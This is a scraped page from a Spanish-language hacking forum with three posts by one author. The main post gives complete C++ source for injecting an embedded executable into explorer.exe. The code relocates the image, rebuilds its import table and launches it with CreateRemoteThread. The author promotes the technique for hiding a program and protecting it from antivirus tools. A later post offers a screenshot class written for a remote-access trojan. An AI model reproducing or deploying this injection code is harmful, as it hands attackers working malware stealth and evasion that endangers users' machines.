Inyección de Archivos en un Proceso Cuando se habla de inyección de archivos o de inyección simplemente, se entiende por ello inyección en otro proceso, sin embargo, todos los códigos que vi sobre ésto (que no son pocos), no hacen propiamente una inyección, sinó que crean un proceso y se "inyectan" en el proceso creado, así podemos ver en mucho malware un proceso llamado "IEXPLORER.EXE" cuando no utilizamos ese navegador, un "msnmsgr.exe" cuando no tenemos el messenger abierto o dos procesos "explorer.exe" en ejecución. Lo que hace éste código es inyectarse en 'explorer.exe', abriendo el proceso y creando un hilo hacia nuestro código con CreateRemoteThread. Ésto es bastante fácil de hacer cuando simplemente inyectamos un código, como puede ser una shellcode o algo así, pero la cosa cambia si queremos inyectar un ejecutable completo, no lo podemos cargar en el ImageBase puesto que seguramente ya estará ocupado por el ejecutable del explorer (00400000), y todas las direcciones virtuales absolutas (no relativas al imagebase) estarán rotas. Para solucionar éste problema he utilizado (como muchos ya habrán supuesto  ) la Relocation Table, pudiendo así con esa tabla inyectar mi ejecutable en un proceso remoto, rebasearlo y cargar la IAT. Luego con CreateRemoteThread se crea un hilo hacia el EntryPoint y ya tenemos dos ejecutables corriendo en un mismo proceso  . Aquí os dejo el código que inyecta en 'explorer.exe' un ejecutable que guarda en el resource: #pragma comment (linker,"/NODEFAULTLIB") #pragma comment (linker,"/ENTRY:main") #include <windows.h> #include <Tlhelp32.h> #include "resource.h" int main() { PIMAGE_DOS_HEADER IDH; PIMAGE_NT_HEADERS INTH; PIMAGE_SECTION_HEADER ISH; //Cargamos el resource HRSRC hResource=FindResourceA(NULL,(LPCSTR)MAKEINTRESOURCE(IDR_EXE1),"EXE"); DWORD ResourceSize=SizeofResource(NULL,hResource); HGLOBAL hGlob=LoadResource(NULL,hResource); LPSTR lpFileMaped=(LPSTR)LockResource(hGlob); //Obtenemos la cabecera DOS y PE en las estructuras IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0]; INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew]; DWORD PID=0; HANDLE hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 pInfo; pInfo.dwSize=sizeof(PROCESSENTRY32); //Obtenemos el PID del 'explorer.exe' Process32First(hSnapshot,&pInfo); for(;lstrcmpA(pInfo.szExeFile,"explorer.exe");) { Process32Next(hSnapshot,&pInfo); } CloseHandle(hSnapshot); PID=pInfo.th32ProcessID; //Abrimos el proceso en el que nos inyectaremos HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID); //Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable LPSTR ExeBuffer=(LPSTR)VirtualAllocEx(hProcess,0,INTH->OptionalHeader.SizeOfImage,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE); //Copiamos la cabecera DOS y PE al buffer WriteProcessMemory(hProcess,&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders,0); //Copiamos las secciones en su VirtualOffset en el buffer for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++) { ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i]; WriteProcessMemory(hProcess,&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData,0); } //Calculamos el delta entre la dirección del buffer y el ImageBase DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase); //------------------------------------------------------------ /* -Reubicamos la dirección base del ejecutable :D- */ //------------------------------------------------------------ //Si no hay tabla de reubicación, salimos if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size==0) { MessageBoxA(0,"No hay relocation table!",0,0); return false; } //Obteemos el Image Base Relocation //Copiamos el Image Base Relocation de los datos en el proceso a un buffer en el nuestro para //poder trabajar con él más comodamente PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)GlobalAlloc(GPTR,sizeof(IMAGE_BASE_RELOCATION)); PIMAGE_BASE_RELOCATION PIBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0); //Vamos recorriendo todas las etradas del bloque for (DWORD n=0;IBR->VirtualAddress>0;n++) { //Obtenemos el Bloque de reubicación LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress); //Obtenemos la primera entrada del bloque LPWORD RelocationEntry=(LPWORD)((LPSTR)PIBR+sizeof(IMAGE_BASE_RELOCATION)); //Recorremos todas las entradas del bloque for (DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++) { WORD valor; ReadProcessMemory(hProcess,RelocationEntry,&valor,2,0); //Obtenemos los 4 bits que definen el tipo de reubicación DWORD type=valor>>12; //Obtenemos los 12 bits que definen la dirección de la reubicación DWORD offset=valor&0xFFF; //Si el tipo de reubicación es relativo a la dirección base, añadimso el delta if(type==IMAGE_REL_BASED_HIGHLOW) { //Añadimos a la dirección que depende del imagebase original //el delta entre el imagebase y nuestra dirección base LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset); DWORD NewValue; ReadProcessMemory(hProcess,newAddr,&NewValue,4,0); NewValue+=Delta; WriteProcessMemory(hProcess,newAddr,&NewValue,4,0); } } //Vamos al siguiente bloque PIBR=(PIMAGE_BASE_RELOCATION)(((DWORD)PIBR)+IBR->SizeOfBlock); ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0); } GlobalFree(IBR); //--------------------------------------------------------------------- /* -Cargamos los valores de la IAT para poder llamar a las apis- */ //--------------------------------------------------------------------- PIMAGE_THUNK_DATA ITD; PIMAGE_THUNK_DATA PITD; PIMAGE_IMPORT_BY_NAME IIBN; //Comprobamos si hay Import Data Descriptor if (INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0) { //Obtenemos el Import Data Descriptor //Copiamos el Import Data Descriptor de los datos en el proceso a un buffer en el nuestro para //poder trabajar con él más comodamente PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_DESCRIPTOR)); PIMAGE_IMPORT_DESCRIPTOR PIID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0); //Vamos recorriendo todas las Dll's importadas por el ejecutable for (;IID->Name;) { //Obtenemos la longitud del nombre de la dll DWORD szName=0; CHAR miByte=1; for(int i=0;miByte;i++) { szName=i; ReadProcessMemory(hProcess,ExeBuffer+IID->Name+i,&miByte,1,0); } //Obtenemos el nombre de la dll LPSTR lpName=(LPSTR)GlobalAlloc(GPTR,szName+1); ReadProcessMemory(hProcess,ExeBuffer+IID->Name,lpName,szName+1,0); //Cargamos la dll HMODULE hLib=LoadLibraryA(lpName); //Obtenemos la dirección al primer miembro del array Image Thunk Data's PITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk); ITD=(PIMAGE_THUNK_DATA)GlobalAlloc(GPTR,sizeof(IMAGE_THUNK_DATA)); ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0); //Vamos recorriendo las funciones importadas for (;ITD->u1.Ordinal;) { miByte=1; //Obtenemos la longitud del nombre de la API for(int i=0;miByte;i++) { szName=i; LPSTR puntero=ExeBuffer+ITD->u1.Function+2; puntero+=i; ReadProcessMemory(hProcess,puntero,&miByte,1,0); } //Cargamos el Image Import By Name para obtener el nombre IIBN=(PIMAGE_IMPORT_BY_NAME)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_BY_NAME)+szName); ReadProcessMemory(hProcess,ExeBuffer+ITD->u1.Function,IIBN,sizeof(IMAGE_IMPORT_BY_NAME)+szName,0); //Obtenemos la dirección de la función y la guardamos en la IAT DWORD lpAPI=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name); WriteProcessMemory(hProcess,ExeBuffer+IID->FirstThunk,&lpAPI,4,0); /* Ejem!! Vaya metedura xD */ PITD++; ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0); } PIID++; ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0); GlobalFree(lpName); GlobalFree(ITD); } GlobalFree(IID); } //Obteemos el EntryPoint de ejecutable que cargamos en el buffer DWORD EntryPoint=((DWORD)ExeBuffer)+INTH->OptionalHeader.AddressOfEntryPoint; //Llamamos al EntryPoint CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)EntryPoint,0,0,0); return 0; }
Descargar SourceAPLICACIONESLa primera aplicación que salta a la vista es la ocultación, si nos podemos inyectar en un proceso evitamos tener que usar otras técnicas para ocultar nuestro proceso, y a la vez nos proporciona protección frente a un antivirus o algún programa de protección que trate de terminar el proceso, puesto que de hacerlo (como seguro hará), terminará la ejecución de los dos ejecutables, el nuestro y el exporer. Otra aplicación que se me ocurre es un poco más complicada de explicar que espero poder presentar el código en breve, seguro a muchos les gustará  . Saludos
|
|
|
9
|
Foros Generales / Sugerencias y dudas sobre el Foro / [Propuesta] Subforo de ingeniería inversa más visible
|
en: 30 Diciembre 2009, 18:31 pm
|
Bueno, pues cómo dice el título del tema, a mi parecer, éste subforo está un poco escondido, cosa que no debería de pasar en un foro de ésta temática. La ingeniería inversa es una de las ramas más gruesas del "mundo underground", véase su relación con la programación (sobre todo a bajo nivel), la búsqueda de vulnerabilidades en aplicaciones, y el análisis y el diseño del malware. Son temas que se tratan en gran parte de los subforos, sin embargo el de más peso está medio escondido: No hay sección sobre Cracking?Sugerencia: Una sección de Cracking¿?¿Donde está la sección Ingeniería Inversa?Las preguntas de Cracking en q foro van?Me presento y sugerenciaEntiendo que no puede haber demasiados subforos en la página principal del foro, pero veo como un error esconder subforos de "tanto peso". Saludos
|
|
|
10
|
Seguridad Informática / Análisis y Diseño de Malware / [SRC][C++] ClsScreenCapture
|
en: 29 Diciembre 2009, 11:43 am
|
Bueno, había hecho ésta clase para el Stealth RAT, pero como al final no la usaré, puesto que no es todo lo rápido que quisiera y ya tengo un método alternativo, la posteo para quien le pueda servir  . Hace una captura de pantalla y la comprime a JPEG (o PNG, con cambiar una línea se pueden elegir otros formatos) en memoria, por lo que es más rápido que otros códigos que guardan la captura en disco. Espero que a alguien le sirva  . ClsScreenShot.h://--------------------------------------------------------------------------------------------------------- //Autor: Hacker_Zero //Fecha: 29-12-09 //Descripción: Clase ClsScreenShot, captura de pantalla comprimida en diferentes formatos //GDI+: Incuído en Windows XP o superior //Código liberado bajo la GNU Public License (GPL) <http://www.gnu.org/licenses/gpl-3.0.html> //--------------------------------------------------------------------------------------------------------- #ifndef SCREENSHOT_H #define SCREENSHOT_H #include <windows.h> #include <gdiplus.h> using namespace Gdiplus; class cScreenShot { public: cScreenShot(); ~cScreenShot(); HBITMAP CrearCapturaPantalla(DWORD dwLeft,DWORD dwTop,DWORD dwRight,DWORD dwBottom); CLSID GetEncoder(WCHAR* lpEnconder); LPSTR ComprimirImagen(HBITMAP hBitmap); VOID GuardarImagen(LPSTR lpFileName,LPSTR lpImage,DWORD ImageSize); DWORD ImageSize; RECT RC; private: GdiplusStartupInput GDIStartup; unsigned long GDIToken; EncoderParameters EP; ImageCodecInfo* ICI; CLSID Codec; IStream* lpIStream; unsigned int Codecs; unsigned int CodecSize; HDC hDC; HDC hCCDC; HBITMAP hBitmap; HBITMAP hOldBitmap; ULARGE_INTEGER StreamSize; LARGE_INTEGER StreamSeek; ULONG Read; DWORD dwRead; LPSTR lpBuffer; HANDLE hFile; }; #endif
ClsScreenShot.cpp#include "ClsScreenShot.h" cScreenShot::cScreenShot() { GdiplusStartup(&GDIToken,&GDIStartup,0); GetWindowRect(GetDesktopWindow(),&RC); } cScreenShot::~cScreenShot() { GdiplusShutdown(GDIToken); } HBITMAP cScreenShot::CrearCapturaPantalla(DWORD dwLeft,DWORD dwTop,DWORD dwRight,DWORD dwBottom) { hDC=CreateDCA("DISPLAY",0,0,0); hCCDC=CreateCompatibleDC(hDC); hBitmap=CreateCompatibleBitmap(hDC,dwRight,dwBottom); hOldBitmap=(HBITMAP)SelectObject(hCCDC,hBitmap); BitBlt(hCCDC,0,0,dwRight,dwBottom,hDC,dwLeft,dwTop,SRCCOPY); DeleteDC(hDC); DeleteDC(hCCDC); return hBitmap; } CLSID cScreenShot::GetEncoder(WCHAR* lpEnconder) { GetImageEncodersSize(&Codecs,&CodecSize); ICI=(ImageCodecInfo*)GlobalAlloc(GPTR,CodecSize); GetImageEncoders(Codecs,CodecSize,ICI); for(DWORD i=1;wcscmp(ICI[i-1].MimeType,lpEnconder);i++) { Codec=ICI[i].Clsid; } GlobalFree(ICI); return Codec; } LPSTR cScreenShot::ComprimirImagen(HBITMAP hBitmap) { Bitmap bmp(hBitmap,NULL); CreateStreamOnHGlobal(NULL,TRUE,(LPSTREAM*)&lpIStream); Codec=GetEncoder(L"image/jpeg"); //~Codec=GetEncoder(L"image/png"); ~// EncoderParameters EP; DWORD Quality=40; EP.Count=1; EP.Parameter[0].NumberOfValues=1; EP.Parameter[0].Guid=EncoderQuality; EP.Parameter[0].Type=EncoderParameterValueTypeLong; EP.Parameter[0].Value=&Quality; //bmp.SetResolution(550,600); bmp.Save(lpIStream,&Codec,&EP); StreamSeek.QuadPart=0; lpIStream->Seek(StreamSeek,STREAM_SEEK_END,&StreamSize); lpIStream->Seek(StreamSeek,STREAM_SEEK_SET,NULL); lpBuffer=(LPSTR)GlobalAlloc(GPTR,(SIZE_T)StreamSize.QuadPart); lpIStream->Read(lpBuffer,(ULONG)StreamSize.QuadPart,&Read); ImageSize=(DWORD)Read; return lpBuffer; } VOID cScreenShot::GuardarImagen(LPSTR lpFileName,LPSTR lpImage,DWORD ImageSize) { hFile=CreateFileA(lpFileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE|FILE_SHARE_READ,0,CREATE_ALWAYS,0,0); WriteFile(hFile,lpImage,ImageSize,&dwRead,0); CloseHandle(hFile); }
Ejemplo de uso:ClsScreenShot miScreenShot; //Creamos una captura HBITMAP hBitmap=miScreenShot.CrearCapturaPantalla(miScreenShot.RC.left,miScreenShot.RC.top,miScreenShot.RC.right,miScreenShot.RC.bottom); //Convertimos el Bitmap a Jpeg LPSTR JpegImage=miScreenShot.ComprimirImagen(hBitmap); //La guardamos en disco miScreenShot.GuardarImagen("C:\\captura.jpeg",JpegImage,miScreenShot.ImageSize);
Saludos 
|
|
|
|
|
|
|